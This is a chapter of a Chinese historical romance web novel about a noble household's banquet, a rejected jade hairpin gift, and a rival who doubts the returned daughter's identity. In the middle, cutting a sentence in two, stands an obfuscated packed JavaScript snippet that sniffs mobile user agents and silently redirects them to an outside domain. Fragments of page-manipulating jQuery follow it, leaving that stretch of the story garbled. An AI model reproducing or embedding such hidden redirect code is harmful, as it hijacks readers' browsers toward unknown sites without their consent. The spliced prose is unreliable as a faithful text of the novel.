母女俩应声而望,李立雯拎着帕子上前:“珩儿,可有伤到?”
谢珩将手负于身后:“无事,母亲。”
家丁们上前清扫瓷片,李立雯吩咐:“来人,去检查一下明日所用杯盏瓷器,切莫再出现这样的事。”
明日除了宫里的贵人不便随意出宫,她不便相邀,其余所请皆是当朝权贵,晋国公虽然已故,但好在谢珩争气,并未败落。
但若如此小事令人看了笑话,便是当众驳了她的颜面。
“是。”家丁们立即一一请点宴席所用茶盏杯盘。
被他如此一惊,母女二人暂忘了刚才所言。
谢珩主动开口道:“祖母身子刚有所好转,我的婚事并不急于一时,况且明日是怀瑾的重要日子,我不能逾矩。”
李立雯知晓他重体统,知方寸,可越是如此,遇到婚嫁大事,反倒令她着急:“你这孩子,就算你能拖得,不想娶亲,可你妹妹呢?你不能因自己的事误了你妹妹婚期,长安城的好儿郎就那几个,可不能继续耽误下去,我可不能由着你胡闹。”
沈昭面上一僵,本来看热闹看得起劲,话锋一转怎的又催到她身上了。
若谢珩真这么快娶亲,那下一个便是她。
不行,她还没过几天清闲日子呢。
见李立雯执意,他们不好反驳,便由着她安排了,总归面上笑盈盈应下。
谢珩拜别李立雯后,快步回了秉正堂,杨方今日并未随他出行,见他归来,热情相迎:“少...爷。”话音半落。
谢珩头也未抬,如风一般扎进书房,衣袍卷起,不留一丝眷恋。
“砰——”一声,门被疾风带上。
杨方扭头打量:“少爷今儿怎么了?白日同高家兄弟出门时,不还有说有笑?”
谢珩随手翻开一旁书卷,在眼前铺开,彼时他最喜读书,常常呆在书房中,一坐便是半日,杨方便守在门后,提醒他到时用膳。
可这密密麻麻的字却如蝌蚪般,在书页中畅快游弋,明明每个字都看得清明,但却迟迟不入脑,一句话翻来覆去来回扫视,还不能完全领会其中意味。
杨方悄无声息慢慢走至门边,侯在一旁,大气不敢喘,侧耳听着其中声响,他还从未见少爷如此。
未久,谢珩从书房中走出,径自去练武。
利剑出鞘,随着他手腕翻转,剑气的寒光经太阳照耀,晃得人睁不开眼。
杨方远远躲在一旁,不敢上前,生怕一个闪失,自己小命不保,又怕旁人误入,打起精神盯着各处动静。
夕阳西下,天边尽染橘色。
但谢珩却毫无收势,他浑身衣服被汗浸湿,额前几缕碎发凌乱,微喘着气,胸膛有力地上下起伏,汗水顺着他的喉结滚动,滑入衣襟内。
杨方轻声问道:“少爷,到晚膳时辰了,您看要不要去用膳。”
谢珩执剑动作未停:“你去同母亲说一声,我不吃了。”
“哦。”杨方应下,待他回来时,手中端着凉饮和一些坚果小食,一名家丁手里还捧着一身新衣,跟在其后躲闪他的剑招,“夫人说了,让少爷今日早些休息,别误了明日的大事。”
“先放一旁。”谢珩剑锋偏转,凌空跃至一旁,并不欲伤人。
杨方将端来的小食轻置在一旁,榛子堆积如小山般,在他放下时,一颗溜溜滚落至谢珩脚边。
谢珩收剑俯身捡起,脑中却隐约浮现一个清丽的身影,正手持杯盏,用力砸向桌上的榛子。
思及此,他腕间发力,两指收紧,随着一声脆响,手中的榛壳应声裂开。
他将剑收起,端着木案,转身进了屋,饶有兴致地“捏”起榛壳,未久杨方端来的榛子被他尽数捏碎,他又唤杨方去厨房寻。
半晌,桌上的榛壳堆积如山,剥好的榛子盛了满满两个瓷盆,谢珩:“把这些拿去厨房,莫要浪费了。”
杨方目瞪口呆地盯着眼前一切,只听得吩咐,着人清扫送去厨房了。
因着谢珩没用晚膳,李立雯端了碗羹汤给他送去,言语间仍忧心明日宴席:“你妹妹初回府,她性子活泼,自小又没受过多少拘束,我怕冒然教她规矩反倒伤她的心,明日来往宾客之众,你要多帮衬些,莫让她在外人面前丢了身份。”
谢珩:“母亲既然担心,为何不延后几日,何必非选明日。”
李立雯:“这是你祖母定的,她翻看黄历,明日是这月吉日,若是再耽搁了,倒更显得生分,你一向行止有度,明日多看着些她。”
“既在自家办宴席,那也算私宴,怀瑾虽不生长在长安,我近日观来,她并非任性胡为之人,母亲大可放心。”谢珩淡淡开口。
经他如此说,李立雯心中宽慰不少,临走前,不忘提醒他明日定要穿绣娘做的新衣。
翌日
沈昭睡眼惺忪地被春宁和夏安从床上唤起,帮她更衣梳髻,任由她们摆弄。
与初入府时不同,她今日金钿珠翠,锦妆丽饰。
待梳洗完毕后,她渐渐恢复精神,带着两个婢女前去给母亲问安,而后同谢珩、母亲一起前去拜见祖母。
谢珩并未穿昨日新衣,只穿了件深色常服,站在华衣锦服的沈昭身旁,倒像个府内侍卫守着千金小姐。
李立雯不愿同他置气,并未多言。
老夫人昨夜睡得早,念着今日是她的大日子,亦早起梳洗,等她们一行到时,已然端坐于椅上,虽鬓发斑白,身着墨色衣袍,但通身的气度不凡,沈昭打眼瞧着李立雯和祖母,方觉美人迟暮这词断然没有道理。
美人哪怕老了依旧风华绝代。
老夫人的身子一天天好转,如今无需人搀扶亦可行动自如,只是尚不能多行。
她眼笑成一线,招手让她们一左一右坐于她身侧。
未久,家丁们端着食案,呈上早膳,沈昭低头一看:榛子粥、榛壳炙羊、榛子煨鹿腩、榛粉糕...
这长安城的榛子可不要钱了?
一家四口用完早膳后,李立雯让她们兄妹二人各挑一出戏,而后同王管家去厨房绕了一圈,再次确认宴席各项细节。
未久,陆陆续续便有客来访,或是派人登门送上贺礼。
长安城民风开化,未出阁的女子亦可以抛头露面,结交好友,外出游玩,是以谢珩和沈昭同在前厅接待。
沈昭顶着一头珠钗簪子,压得她只转转眼眸,站不久便轻揉脖颈,见客登门时,又拢手于身前保持仪态。
维持体面便不易,哪还记得昨日信誓旦旦应下,帮谢珩长眼张嫂一事。
谢珩见她不便开口:“你进去帮着母亲吧,此处有我。”
“谢过兄长。”沈昭眉梢弯成好看的弧度,不做推辞,提裙便向内间跑去了。
高家公子来得最早,还未下马车便听到高峻的声音:“一会儿包在我身上。”
高家两位公子本就生得俊逸,高义信今日着一身绯色锦袍,刚下车便不觉吸引了一些目光,高峻虽然声名在外,是个浪荡公子哥,但他弟弟礼数周全,为人稳重,若同他兄长相较,他在长安城中声誉极好。
两人下车后,并没见到沈昭,高义信低垂眸子见礼,高峻则探着头张望:“九如,你妹妹何在?”
高义信一手拉过他,遣家丁递上拜帖,无奈浅笑:“兄长。”
李立雯彼时正拉着沈昭,向长安城中人介绍她,因着之前他们曾见过她试穿礼服,高峻余光一扫便认出她,用手肘轻顶身旁的高义信:“还不快去。”
谢珩则被高峻拦下:“来来,九如,你一人在此孤寂无趣,我来陪陪你。”还不忘宽慰他,“我知你刚寻回妹妹,老夫人肯定不舍,但是小辈多接触接触是好事,你莫作他想,我不过是见义信整日闷在书房里,带他出来走走。”
高义信得了兄长的鼓励,两手郑重握住锦盒,大步向沈昭走去,及至眼前,先一一拜见面前的长辈。
李立雯是过来人,一眼便知晓他的心思,以手帕掩住唇角笑意,带着其他王府夫人去往内堂:“你们多说会话吧,年岁相当总是好亲近些。”
高义信面子薄,经他们一说,脸便染了一层薄红,他递出抱了一路的锦匣,犹豫再三,还是命家丁转递给了春宁:“上次谢姑娘以手帕相赠,略备薄礼,还望谢姑娘喜欢。”
沈昭接过,上好的红木匣子,其上雕着凤穿牡丹纹样,放在手中沉甸甸的,便仅这个锦匣亦价值不菲,“小事,你们是我兄长的朋友,自然也是我的,”登门宾客的礼品大多经由王管家清点整理,记在礼单之上,而后送到库房。
她并不知此处的礼节是否可以当着他的面打开,但又按捺不住好奇,试探问道:“我可以打开吗?”
沈昭如一只山间的小鹿,猝然闯进围得四四方方的院墙中,若无人拘她,她便在其中快活徜徉,但若四下禁锢,她通身的灵气倒给这死气沉沉的高门,多添一抹新意。
高义信浅笑:“但看无妨,既是送与姑娘,姑娘当然可以自行处置。”
沈昭拉开锦匣,一枚玉簪静卧其中,迎着光,流转月华般的光晕,簪身以和田白玉雕着,莹润如凝脂,日光下可见其中若隐若现的冰纹,恰如初春湖面上那将化未化的薄冰。
簪头一朵半开的玉兰,花瓣薄如蝉翼,仿佛轻风一拂便会颤动,花蕊旁嵌着米粒大小的东珠,泛着淡淡的粉色光晕。
都说金银有价玉无价,春宁虽跟着李立雯见过不少好物,但仍惊得屏住呼吸,打心底里为自家小姐高兴,只怕国公府很快便又有喜事了。
高义信在一旁:“这簪子最妙便是其中的花蕊,姑娘可试着用锦匣中的物件拨弄看看。”
锦匣中还附有一支银棍,沈昭两指捏起,轻轻拨动,半闭的玉兰如活物般徐徐盛开,露出藏在花心之中的一对翡翠蝴蝶,蝶翼薄得几乎透光,翅膀上的纹路却细如发丝却清晰可见,仿佛振翅欲飞。
春宁不由得惊呼出声,又紧紧掩住口,她的低呼吸引了周围人目光,谢珩和高峻也向这方看来。
由春宁的反应,沈昭自觉这枚玉簪只怕重若千金,无功不受禄,她与高义信才两面之缘,她将簪子收起,盖好盒盖:“高公子,这簪子太贵重了,你的好意我心领了,这枚玉簪我不便收下。”
没料到她拒绝得如此干脆,高峻当时陪他去挑选时,曾拍着胸脯说她定会收下,高义信眸光暗淡几许:“谢姑娘可是不喜欢?”
“不不。喜欢是一回事,收下又是另一回事了。”
谢珩踱步向他们二人走去,高峻则瞟了一眼高义信,恨铁不成钢般,送个簪子此等小事怎会搞砸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571573|171504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
呢?
他疾步跟上:“九如,等等我。”
李立雯虽引着其他侯府夫人进了内堂,但家丁却一直暗中留意着小姐和高公子,及时回禀,待她听到小姐拒了高义信送的簪子后,终是沉不住气。
轻扯嘴角急急赶至院内,他将沈昭悬在半空的锦匣往她怀中轻推,并不由她拒绝:“高家公子,莫站在此处了,进屋歇歇吧,你的心意瑾儿明了。”
她压住沈昭往外推的手,扭头对她拧眉,语气却柔声温婉:“既是好意,便收下就是。”
于她而言,礼物来往是礼节,哪怕高义信并无私情,当众拒绝亦会驳了他的面子,让其难堪。
她内心感慨,规矩还需慢慢学才好。
见沈昭仍未松手,她径自取了交由春宁:“替小姐收下吧。”
春宁犹豫几许,眼见夫人脸色愈发不好,只得勉强接下。
恰逢谢珩走来,李立雯转身对他说:“今日客多,你妹妹并不熟悉,你多帮忙看着。”
高峻适时打圆场,引着高义信往里面走。
谢家兄妹又回到门前,站在门前虽累了些,但总比被迫接受别人的好意轻松,她同谢珩站在一处。
谢珩问道:“为何不收下那枚玉簪?”
沈昭:“我与他非亲非故,怎能收他如此珍贵的礼物。”
这一句“非亲非故”,谢珩自昨夜起眸底暗涌的波澜倏地安静几许,只余一片深潭似的黑。
他神色疏淡,却微微侧身:“既然不喜,寻个理由送回去便可,母亲不过是念着士族之间来往,高相执掌中书令,高义信——”
“那若我挑一样同样贵重的礼物回赠呢?”沈昭可不懂他们这些豪门之间恩怨,观他们言行,高家不能轻易得罪,她总不能假冒一次,还牵扯上政治纷争了。
她回赠个等价值物件,礼尚往来,总不会再生事端了。
谢珩的话被她打断,轻挥衣袖:“随你。”
沈昭则心心念念自己的小金库,如此她得损耗多少银子呢,那枚玉簪贬不贬值,若她去黑市当了,会不会被查出来?
她摇摇头,将此等烦心事暂时抛置脑后。
看着远处马车上走下的一群仙儿似的女子,才恍然记起今日受李立雯之托,凑近一步问道:“兄长,你可有心仪之人,若是你相中哪家小姐,我偷偷帮你去打探一番。”
谢珩刚平复的心绪又被她惹弄,只冷冷道:“妄议女子本就非君子所为,婚嫁大事自然由母亲作主。”
——
沈昭远远看见的那群姑娘此刻正热闹议论着,走在最前的杜若开口:“我倒不信了,谢家妹妹失踪多年,怎的这么巧就寻回来了,我定要去拆穿她的身份。”
她身后一个姑娘怯生生道:“杜姐姐,今日国公府宴客,我们还是低调些,人既然是谢将军亲迎回府,怎会不调查清楚呢?”
其他几个跟随的姊妹气焰更盛:“冒名皇亲国戚,其罪当诛,杜妹妹你只管去,我们姐妹几个为你撑腰。”
国公府此时已高朋满座,杜若一行进门,将带的贺礼交由家丁,拢起搭在身上的披帛,气势凌人,大跨几步走到沈昭面前,先对谢珩执礼,又侧身看向一旁的沈昭。
她眼高于顶,刚欲张口:“你...”
“姑娘头上的簪子可是金蝉玉叶簪”沈昭的眼眸登时亮了,她之前曾在故宫展柜中见过此物,传闻是南朝的贵妃所戴。
此刻见到真的古迹,眼睛都不舍得挪开半寸。
杜若出门前,特意梳洗打扮一番,专门带了御赐的簪子,可惜这群小姊妹不识好物,这一路上也没一人觉察,反倒被谢家新找回的小姐认出,其他人也仰头看去,眼中全是艳羡。
此刻她的虚荣心得到极大满足,纤纤玉手轻抚上簪子,眼神中全是得意:“姑娘好眼光,这正是御赐之物。”
方才与杜若“同仇敌忾”的姑娘扯扯她的披帛,清咳几声示意她莫忘了要紧事。
杜若敛起笑容:“据我们所知,每年来国公府冒认官家小姐的人之众,你又如何证明你是失散多年的谢怀瑾?”
其他人跟着附和。
沈昭挺起身子,站于一旁:“我此刻站在这,便是最好的证明咯,我若是假的,国公府会为此举办宴席么,我的祖母和母亲岂会认不出我?姑娘是质疑我呢,还是质疑当朝公主呢?”
杜若心思直,初念亦是好意:“我可没有,你休得乱说。”
谢珩招待完其他宾客,见这几名女子仍聚在门口,本不愿上前,但隐约听到杜若的疑惑,便上前问道:“杜姑娘是怀疑我办事不力,竟连自家妹妹都认不出了?”
眼看着即将开席,杜若出门时父亲便叮嘱莫要张扬,她抚正头上发簪:“罢了,那边恭喜国公府喜迎千金回府啦。”
沈昭瞧着小姑娘没有坏心思,又念着这些姑娘以后没准是她未来嫂嫂,她盛情请她们入坐。
宾客陆续到了,李立雯扶老夫人入座,台上的折子戏演得正热闹。
一出唱罢,李立雯便准备正式向众人介绍沈昭。
台上锣鼓声渐弱,众人鞠躬致谢。李立雯牵起她的手,一同向台中走去。
王管家却火急火燎跑来,拦下她们:“夫人,府外有人找小姐!请小姐出门相见。”